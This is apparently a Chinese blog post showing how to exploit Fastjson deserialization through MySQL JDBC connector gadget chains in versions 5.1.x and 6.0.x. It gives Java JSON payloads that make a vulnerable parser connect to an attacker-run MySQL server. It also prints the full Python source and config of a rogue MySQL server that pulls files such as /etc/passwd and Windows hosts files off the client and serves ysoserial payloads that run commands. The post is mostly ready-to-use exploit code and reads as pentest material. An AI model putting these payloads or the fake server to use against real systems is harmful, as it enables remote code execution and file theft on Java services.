Fastjson Mysql JDBC 反序列化

Mysql 利用链

SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化

mysql 5.1.11

Test1.java

import com.alibaba.fastjson.JSON;

public class Test1 {
    public static void main(String[] args){
        String json2="{ \"name\": { \"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"127.0.0.1\", \"portToConnectTo\": 3306, \"info\": { \"user\": \"CommonsCollections5\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }, \"databaseToConnectTo\": \"dbname\", \"url\": \"\" } }";
//        String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false\" } } }}";
//        String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false\" } } }}";

        Object obj1 = JSON.parse(json2);
        System.out.println(obj1);
    }
}

依赖

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.1.12</version>
        </dependency>

本地搭建恶意服务器
server.py

import asyncio
import logging
import signal
import random
signal.signal(signal.SIGINT, signal.SIG_DFL)

from mysqlproto.protocol import start_mysql_server
from mysqlproto.protocol.base import OK, ERR, EOF
from mysqlproto.protocol.flags import Capability
from mysqlproto.protocol.handshake import HandshakeV10, HandshakeResponse41, AuthSwitchRequest
from mysqlproto.protocol.query import ColumnDefinition, ColumnDefinitionList, ResultSet,FileReadPacket
import subprocess
import time


@asyncio.coroutine
def accept_server(server_reader, server_writer):
    task = asyncio.Task(handle_server(server_reader, server_writer))

@asyncio.coroutine
def process_fileread(server_reader, server_writer,filename):
    print("Start Reading File:"+filename.decode('utf8'))
    FileReadPacket(filename).write(server_writer)
    yield from server_writer.drain()
    #server_writer.reset()
    #time.sleep(3)
    
    isFinish = False
    outContent=b''
    outputFileName="%s/%s___%d___%s"%(fileOutputDir,server_writer.get_extra_info('peername')[:2][0],int(time.time()),filename.decode('ascii').replace('/','_').replace('\\','_').replace(':','_'))
    while not isFinish:
        packet = server_reader.packet()
        while True:
            fileData = (yield from packet.read())
            #当前packet没有未读取完的数据
            if fileData == '':
                break
            #空包,文件读取结束
            if fileData == b'':
                isFinish = True
                break
            outContent+=fileData
    if len(outContent) == 0:
        print("Nothing had been read")
    else:
        if displayFileContentOnScreen:
            print("========File Conntent Preview=========")
            try:
                print(outContent.decode('utf8')[:1000])
            except Exception as e:
                #print(e)
                print(outContent[:1000])
            print("=======File Conntent Preview End==========")
        if saveToFile:
            with open(outputFileName,'wb') as f:
                f.write(outContent)
            print("Save to File:"+outputFileName)
    #OK(capability, handshake.status).write(server_writer)
    #server_writer.close()
    return

@asyncio.coroutine
def handle_server(server_reader, server_writer):
    handshake = HandshakeV10()
    handshake.write(server_writer)
    print("Incoming Connection:"+str(server_writer.get_extra_info('peername')[:2]))
    yield from server_writer.drain()
    switch2clear=False
    handshake_response = yield from HandshakeResponse41.read(server_reader.packet(), handshake.capability)
    username = handshake_response.user
    print("Login Username:"+username.decode("ascii"))
    #print("<=", handshake_response.__dict__)
    #检测是否需要切换到mysql_clear_password
    if username.endswith(b"_clear"):
        switch2clear = True
        username = username[:-len("_clear")]
    capability = handshake_response.capability_effective

    if (Capability.PLUGIN_AUTH in capability and
            handshake.auth_plugin != handshake_response.auth_plugin
            and switch2clear):
        print("Switch Auth Plugin to mysql_clear_password")
        AuthSwitchRequest().write(server_writer)
        yield from server_writer.drain()
        auth_response = yield from server_reader.packet().read()
        print("<=", auth_response)

    result = OK(capability, handshake.status)
    result.write(server_writer)
    yield from server_writer.drain()

    while True:
        server_writer.reset()
        packet = server_reader.packet()
        try:
            cmd = (yield from packet.read(1))[0]
        except Exception as _:
            #TODO:可能会出问题 ┓( ´∀` )┏
            return
            pass
        print("<=", cmd)
        query =(yield from packet.read())
        if query != '':
            query = query.decode('ascii')
        if username.startswith(b"fileread_"):    
            yield from process_fileread(server_reader, server_writer,username[len("fileread_"):])
            result = OK(capability, handshake.status)
            #return 
        elif username in fileread_dict:
            #query =(yield from packet.read())
            yield from process_fileread(server_reader, server_writer,fileread_dict[username])
            result = OK(capability, handshake.status)
            #return 
        elif username not in yso_dict and not username.startswith(b"yso_"):
            #query =(yield from packet.read())
            yield from process_fileread(server_reader, server_writer,random.choice(defaultFiles))
            result = OK(capability, handshake.status)
        elif cmd == 1:
            result =ERR(capability)
            #return
        elif cmd == 3:
            #query = (yield from packet.read()).decode('ascii')
            if 'SHOW VARIABLES'.lower() in query.lower():
                    print("Sending Fake MySQL Server Environment Data")
                    ColumnDefinitionList((ColumnDefinition('d'),ColumnDefinition('e'))).write(server_writer)
                    EOF(capability, handshake.status).write(server_writer)
                    ResultSet(("max_allowed_packet","67108864")).write(server_writer)
                    ResultSet(("system_time_zone","UTC")).write(server_writer)
                    ResultSet(("time_zone","SYSTEM")).write(server_writer)
                    ResultSet(("init_connect","")).write(server_writer)
                    ResultSet(("auto_increment_increment","1")).write(server_writer)
                    result = EOF(capability, handshake.status)
            elif username in yso_dict:
                    #Serial Data
                    print("Sending Presetting YSO Data with username "+username.decode('ascii'))
                    ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
                    EOF(capability, handshake.status).write(server_writer)
                    ResultSet(("11",yso_dict[username],"2333")).write(server_writer)
                    result = EOF(capability, handshake.status)
            elif username.startswith(b"yso_"):
                query =(yield from packet.read())
                _,yso_type,yso_command = username.decode('ascii').split("_")
                print("Sending YSO data with params:%s,%s" % (yso_type,yso_command))
                content = get_yso_content(yso_type,yso_command)
                ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
                EOF(capability, handshake.status).write(server_writer)
                ResultSet(("11",content,"2333")).write(server_writer)
                result = EOF(capability, handshake.status)
            elif query.decode('ascii') == 'select 1':
                ColumnDefinitionList((ColumnDefinition('database'),)).write(server_writer)
                EOF(capability, handshake.status).write(server_writer)
                ResultSet(('test',)).write(server_writer)
                result = EOF(capability, handshake.status)
            else:
                result = OK(capability, handshake.status)

        else:
            result = ERR(capability)

        result.write(server_writer)
        yield from server_writer.drain()

yso_dict={

}
def get_yso_content(yso_type,command):
    popen = subprocess.Popen([javaBinPath, '-jar', ysoserialPath, yso_type, command], stdout=subprocess.PIPE)
    file_content = popen.stdout.read()
    return file_content
def addYsoPaylod(username,yso_type,command):
    yso_dict[username] = get_yso_content(yso_type,command)



logging.basicConfig(level=logging.INFO)

fileOutputDir="./fileOutput/"
displayFileContentOnScreen = True
saveToFile=True
fileread_dict={

}
ysoserialPath = './ysoserial.jar'
javaBinPath = 'java'
defaultFiles = []
if __name__ == "__main__":
    import json
    with open("config.json") as f:
        data = json.load(f)
    
    if 'config' in data:
        config_data = data['config']
        if 'ysoserialPath' in config_data:
            ysoserialPath = config_data['ysoserialPath']
        if 'javaBinPath' in config_data:
            javaBinPath = config_data['javaBinPath']
        if 'fileOutputDir' in config_data:
            fileOutputDir = config_data['fileOutputDir']
        if 'displayFileContentOnScreen' in config_data:
            displayFileContentOnScreen = config_data['displayFileContentOnScreen']
        if 'saveToFile' in config_data:
            saveToFile = config_data['saveToFile']
    import os
    try:
        os.makedirs(fileOutputDir)
    except FileExistsError as _:
        pass
    for k,v in data['fileread'].items():
        if k == '__defaultFiles':
            defaultFiles = v
            for i in range(len(defaultFiles)):
                defaultFiles[i] = defaultFiles[i].encode('ascii')
        else:
            fileread_dict[k.encode('ascii')] = v.encode('ascii')
    
    #print(fileread_dict)
    if "yso" in data:
        for k,v in data['yso'].items():
            addYsoPaylod(k.encode('ascii'),v[0],v[1])
    #print(yso_dict)
    loop = asyncio.get_event_loop()
    f = start_mysql_server(handle_server, host=None, port=3306)
    print("===========================================")
    print("MySQL Fake Server")
    print("Author:fnmsd(https://blog.csdn.net/fnmsd)")
    print("Load %d Fileread usernames :%s" % (len(fileread_dict),list(fileread_dict.keys())))
    print("Load %d yso usernames :%s" % (len(yso_dict),list(yso_dict.keys())))
    print("Load %d Default Files :%s" % (len(defaultFiles),defaultFiles))
    print("Start Server at port 3306")
    loop.run_until_complete(f)
    loop.run_forever()

config.json

{
    "config":{
        "ysoserialPath":"./ysoserial.jar",
        "javaBinPath":"java",
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "Jdk7u21":["Jdk7u21","open /System/Applications/Calculator.app"],
        "CommonsCollections10":["CommonsCollections10","open /System/Applications/Calculator.app"],
        "CommonsCollections5":["CommonsCollections5","open /System/Applications/Calculator.app"]
    }
}

mysql 6.0.2/6.0.3(反序列化)

tes1.java

import com.alibaba.fastjson.JSON;

public class Test1 {
    public static void main(String[] args){
//        String json2="{ \"name\": { \"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"127.0.0.1\", \"portToConnectTo\": 3306, \"info\": { \"user\": \"CommonsCollections5\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }, \"databaseToConnectTo\": \"dbname\", \"url\": \"\" } }";
        String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=CommonsCollections5\" } } }}";
//        String json2="{ \"name\": { \"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\", \"proxy\": { \"connectionString\":{ \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false\" } } }}";

        Object obj1 = JSON.parse(json2);
        System.out.println(obj1);
    }
}

依赖

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>6.0.2</version>
        </dependency>

@jingqi
参考:
https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/1aker/Fastjson-pentest

posted @ 2021-08-18 15:54  pickmea  阅读(2408)  评论(2编辑  收藏  举报